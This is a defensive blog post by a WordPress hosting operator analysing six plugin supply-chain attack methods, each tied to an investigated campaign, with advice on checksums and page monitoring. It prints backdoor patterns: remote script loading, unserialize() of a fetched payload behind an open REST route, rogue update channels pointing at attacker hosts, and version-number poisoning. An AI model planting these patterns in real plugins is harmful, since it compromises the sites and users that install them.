Before this year, if you had asked me what a supply chain attack was, I’m not sure I could have given you a straight answer. My focus is WordPress hosting and maintenance. That means keeping my customers’ sites safe and running, but it does not make me a security researcher. Then over the last several months, through AI-assisted security audits and a string of discoveries about bad actors working in the WordPress space, I started pulling these attacks apart one by one. The plugins are different, the operators are different, the payloads are different. But the methods used can be explained in the following ways.
Today we’re looking at the six ways an attacker turns a WordPress.org plugin into a foothold on your site, each one drawn from a real campaign I have traced, with the code that made it work. And one of the six is fundamentally different from the rest, because the malicious code never travels through WordPress.org at all.
First, the scale of the problem.
Those four numbers come from four different investigations, and not one of them was caught by a vulnerability feed. They were caught by reading code, hashing files, and watching what sites actually did. Here is the full overview on one screen, and then a section on each, with the code.
The six ways in
Every WordPress.org supply-chain attack I have investigated uses at least one of these. The sophisticated operations chain several together. Buy a plugin, ship a dormant payload, and detonate it through a side channel weeks later.
.dat blob.update_plugins filters pointing anywhere but api.wordpress.org.1. Plant a backdoor in a brand-new plugin
The simplest move is also the oldest: publish a plugin whose only real job is to compromise the sites that install it. The wrapper is whatever sounds trustworthy. A captcha, an antivirus, a firewall. The payload rides along from the first release.
I found the clearest example of this by accident. The wp.org Plugin Review Team had not just closed a plugin called wp-advanced-math-captcha; they had reached in and deleted a single 7 KB binary, a .dat file. Routine closures do not touch random binaries. So I decoded it.
python3 -c "import zlib; print(zlib.decompress(open('wp-math-captcha.dat','rb').read()).decode())"
Out came PHP. A dropper, with a comment block that told me exactly what I was looking at.
/**
* SiteGuarding tools installer for customer's panel
* https://www.siteguarding.com
* Do not distribute or share.
*
* ver.: 1.7
* Date: 20 Mar 2020
*/
The dropper carried a base64 copy of a 482-line backdoor called siteguarding_tools.php. On install it wrote the backdoor into the WordPress root, posted the site URL to a SiteGuarding endpoint to register the new infection, and then deleted itself. A captcha plugin with thousands of active installs was quietly planting a remote-access tool on every site that ran it.
One DNS lookup turned a single bad plugin into a thirteen-year operation. A 2025 “burner” brand it pointed at, cmsplughub.com, was running on SiteGuarding’s own nameservers and the same IP, 198.7.59.167. Pulling that thread surfaced 44 plugins across 19 accounts, all the way back to 2013, tied together by shared infrastructure and a byte-identical backdoor.
.dat, .gzs, or .key file, that’s enough to dig deeper.2. Poison a release from the inside
Sometimes the threat is the committer who already holds the keys. A plugin runs clean for years, then the same author who built it ships a poisoned release. No account was stolen and nothing changed hands. The trust was always real, and that is what makes it work. The next two vectors are outsiders getting that same access, by theft or by purchase. This one is the insider who already had it.
The Quick Page/Post Redirect Plugin, with around 70,000 active installs, is the textbook case. My monitoring flagged version 5.2.3 across twelve sites, and the files did not match. Same version string as wordpress.org, completely different hash.
dd41c767c074cd280acae37b61f2f059The 5.2.3 published on wordpress.org.ad717da18cf8a2b69899c0d7dafee05aThe 5.2.3 that was actually installed on twelve of my sites.anadnet.comRogue update source: anadnet.com/updates/.w.anadnet.comContent-injection C2: w.anadnet.com/bro/3/.The tampered build carried two backdoors. The first was content injection, hooked into the main loop and gated so only logged-out visitors ever saw it.
function filter_the_content_in_the_main_loop( $content ) {
if ( ( is_single() || is_singular() || is_page() )
&& ( ! is_user_logged_in() ) && is_main_query() ) {
// fetch a payload from w.anadnet.com/bro/3/ and prepend it to $content.
// gate on !is_user_logged_in() so a logged-in admin never sees the injection.
}
return $content;
}
The second was a rogue update channel, the mechanism we pull apart in vector 5: a bundled copy of the Plugin Update Checker library wired to anadnet.com/updates/, so whatever that server returned would install with full plugin-author permissions. What marks this as an inside job is the commit history. The attacker tagged that updater into releases, then scrubbed it from trunk months later, so the public listing read clean while installed copies stayed wired to the backdoor. A trusted committer abusing their own access and hiding the evidence in plain sight.
anadnet.com/updates/ is committed and tagged into 5.2.1 and 5.2.2.anadnet.com. Same version string as wp.org, different MD5. Twelve of my sites pull it over the next week.w.anadnet.com goes NXDOMAIN and the injection fails silently, waiting for the subdomain to point back.3. Take over the author’s account
You do not have to write malware to ship malware. Sometimes the cheapest path is to take over the account that already holds the trust. Two routes show up again and again: steal the credential, or wait for the author’s domain to lapse, re-register it, and reset their wp.org email through it. Abandoned plugins are the prime targets, because nobody is watching them.
Widget Logic fits the pattern exactly. Alan Trewartha published it in 2008; it reached more than three million downloads and then sat untouched after 2015. On June 6, 2024, someone registered the domain widgetlogic.org, and two months later a rebuilt version 6.0.0 appeared with a new “Live Match Widget” that loaded external JavaScript on every front-end page.
add_action( 'wp_enqueue_scripts', function () {
$cfg = require 'widget_cfg.php'; // { base: 'https://widgetlogic.org/', ver: 'v2' }
$t = time();
$t = $t - $t % ( 12 * 60 * 60 ); // round to a 12-hour cache-bust window
wp_enqueue_script(
'widget-logic_live_match_widget',
"{$cfg['base']}{$cfg['ver']}/js/data.js?t={$t}",
array(), '6.0.0', true // loads on every front-end page view
);
} );
On the day I caught it, that script was serving a football widget. That is the whole danger: the payload is fetched fresh from the operator’s server on every page load, so the difference between a sports widget and a credit-card skimmer is one line of code on their end, pushed whenever they choose. A three-million-download plugin became a remotely-controlled script loader the moment its dormant account changed hands.
4. Buy the plugin, then weaponize it
The most unsettling version of all needs no exploit, no stolen password, and no expired domain. The attacker simply buys the plugin. A marketplace listing changes hands, the commit bit transfers with it, and a decade of accumulated trust and install base comes along for free.
An Essential Plugins portfolio of more than thirty plugins, built over a decade by an India-based team, was sold to a single buyer on Flippa. The buyer’s very first SVN commit was the backdoor. The mechanism avoided every obvious signature: pull a remote payload, hand it to unserialize(), and let object instantiation do the work, all triggerable through an unauthenticated REST route.
// Pull a remote payload and instantiate it. There is no eval() to flag.
function fetch_ver_info( $url ) {
$raw = file_get_contents( $url ); // attacker-controlled endpoint
return @unserialize( $raw ); // object instantiation runs the gadget chain
}
// ...and let anyone on the internet trigger it. permission_callback is wide open.
register_rest_route( 'wpos/v1', '/analytics', array(
'methods' => 'POST',
'callback' => 'version_info_clean',
'permission_callback' => '__return_true',
) );
It stayed dormant for eight months inside a wpos-analytics module that had looked innocent since 2015, then detonated. It injected into wp-config.php, served spam to search-engine crawlers, and resolved its command server through an Ethereum smart contract so there was no domain to take down.
The same pattern shows up in a different sale. The Scroll To Top plugin, around 20,000 installs, was sold by its original author in 2023. The new operator got SVN access and shipped a hidden update channel. One purchase, twenty thousand sites, no exploit anywhere in the chain.
5. Register a rogue update channel you cannot scan for
The first four vectors are about who gets to ship code. This one is about what you do once you can, and it is the move that breaks scanning. Every other vector eventually puts malicious code into a file on disk that a scanner can read. This one does not have to. We have already seen it in action: the bundled updater inside Quick Page/Post Redirect, wired to anadnet.com, was exactly this. Here is the mechanism in full.
WordPress lets a plugin tell WordPress where to look for its own updates. Point that at a domain you own, and you have built a private distribution channel that bypasses the review team entirely. The plugin on disk only ever contains the plumbing.
// The plugin tells WordPress to fetch its updates from somewhere other than wp.org.
$checker = Puc_v4_Factory::buildUpdateChecker(
'https://updates.cdnstaticsync.com/?slug=scroll-top',
__FILE__, // the plugin file PUC watches, not a URL
'scroll-top'
);
Or filter the update transient directly, advertise a version number higher than the one on wp.org, and hand WordPress a package URL you control.
add_filter( 'site_transient_update_plugins', function ( $transient ) {
$info = json_decode( wp_remote_retrieve_body(
wp_remote_get( 'https://updates.cdnstaticsync.com/meta.json' )
) );
// The remote advertises "version": "1.5.5", which beats wp.org's 1.5.3,
// so WordPress offers it as an update on the normal auto-update cycle.
$transient->response['scroll-top/scroll-top.php'] = (object) array(
'new_version' => $info->version,
'package' => $info->download_url, // an attacker-controlled .zip
);
return $transient;
} );
Once package is an attacker URL, WordPress downloads and installs whatever sits there with full plugin-author permissions, on the normal auto-update cycle, across every site at once. And to make sure the legitimate fix never catches up, the attacker poisons the version number itself.
// PHP treats each dot-segment as an integer, so the leading zero is dropped:
// "6.08" becomes 6.8, which sorts ABOVE the real fix at 6.0.9.
version_compare( '6.08', '6.0.9' ); // 1 → the malicious build looks newer
version_compare( '6.07', '6.0.9' ); // 1 → so the patch is never auto-installed
So if the files do not betray it, how do you find a side channel? You stop trusting the version string and start looking at where the plugin actually phones for updates.
6. Ship clean, detonate later
Dormancy is not a vector on its own. It is a force multiplier that makes the other five survive review. The code that gets approved is benign. The malice arrives later, through an already-approved update or the side channel. The Essential Plugins backdoor waited eight months. The SiteGuarding antivirus plugin phoned home from 2014, ready to be upgraded into something worse at any time. The Quick Page/Post Redirect injection sat dormant for five years because a subdomain went dark, not because anyone removed it.
Paired with version-number poisoning, dormancy becomes durable. The payload clears review by doing nothing, then detonates, and the poisoned version number guarantees the patched release can never auto-install over the top of it. The cleanup ships and the backdoor simply outranks it.
What actually catches it
None of these were caught by a vulnerability feed, because a feed describes known bugs in known versions, and a supply-chain attack is a clean version that turned hostile after it was published. Three things consistently work, and they are not the ones people reach for first.
Hash the files; do not trust the version. A tampered 5.2.3 fails a checksum comparison even though its version string is identical to the real one. This is the single defense that would have caught the update hijack, the side channel, and the plant.
# Compares every installed file against the hashes wp.org publishes.
# A tampered 5.2.3 fails this even though its version string says 5.2.3.
wp plugin verify-checksums quick-pagepost-redirect-plugin
# Run it across an entire fleet, one environment at a time
Watch what the site does, every day. A side channel hides from a file scan, but the moment its server decides to inject a script or a redirect, the rendered page changes. Daily homepage diffing caught both the Widget Logic script and the Quick Page/Post Redirect injection. It is the one method that does not care where the payload came from, only that the site started behaving differently.
Read the plugins wp.org closes. A forced file deletion inside a closure is a signal that the review team found something real. That single observation, a deleted 7 KB .dat, is what unspooled a thirteen-year operation.
This is getting harder for them, not easier.
The attacker’s real advantage was never the exploit. It was that almost nobody was looking closely. That part is changing. We all now have the power to take a closer look.
Every one of these investigations started with an AI-assisted audit, reading code at a depth and speed previously not possible. It gets stronger the more of us that do the same. I run these hunts across my own fleet, and every host that runs the same checks for variant plugins and rebranded campaigns makes the next operation easier to unravel. Bad actors remain hidden when no one is hunting for them. When the whole industry starts hashing files and diffing pages they have no where to hide.
And detection is only half of it. The same code scanning that catches a planted backdoor can increasingly fix a large share of the underlying flaws before anyone gets to weaponize them.
It’s the web hosts with large customer bases who hold the real power, not the security companies. What could a business like GoDaddy uncover if they go hunting for bad plugins across their ~5 million WordPress customers? How many more bad plugins would lead them to bad actors? The potential to help everyone would be immeasurable.
The thing all six have in common
WordPress.org can review the code a plugin ships. It cannot review external requests to that plugin. It cannot audit a buyer’s intentions. It cannot re-check a version that was genuinely clean the day it was approved. The repository is a snapshot; an attack is a movie. Every one of these six lives in the gap between the moment of review and the moment of execution.
That gap is not going away, so the defense cannot live at wp.org alone. It has to live where the code actually runs. On your sites, watching for the version that no longer matches its hash and the page that no longer matches yesterday’s. Do not trust the version number. The repository tells you what a plugin was. Only your own monitoring tells you what it is.